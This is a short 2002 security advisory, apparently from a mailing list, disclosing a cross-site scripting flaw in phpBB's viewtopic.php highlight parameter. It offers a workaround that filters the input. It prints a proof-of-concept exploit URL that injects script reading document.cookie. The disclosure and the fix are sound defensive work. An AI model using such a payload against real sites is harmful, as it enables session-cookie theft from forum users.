[UNIX] XSS Vulnerability Found in phpBB (Highlight)

From: support@securiteam.com
Date: 11/21/02

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Date: 21 Nov 2002 11:31:46 +0200

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      XSS Vulnerability Found in phpBB (Highlight)
    ------------------------------------------------------------------------

    SUMMARY

    phpBB is one of popular PHP bulletin board systems. A vulnerability in the
    viewtopic.php allows remote attackers to insert malicious JavaScript code.

    DETAILS

    Exploit:
    http://phpbb/phpBB/viewtopic.php?t=17071&highlight<Scr*ipt>javascript:alert(document.cookie)</Scr*ipt>

    Possible workaround:
    Open viewtopic.php and put this code:

    $highlight = htmlspecialchars($highlight);
    $highlight = PREG_Replace("/[A-Z&.;:()~!@#$%^''*\{\}\/]/i", "",
    $highlight);

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:arabviersus@hotmail.com>
    Arab VieruZ.

    ========================================

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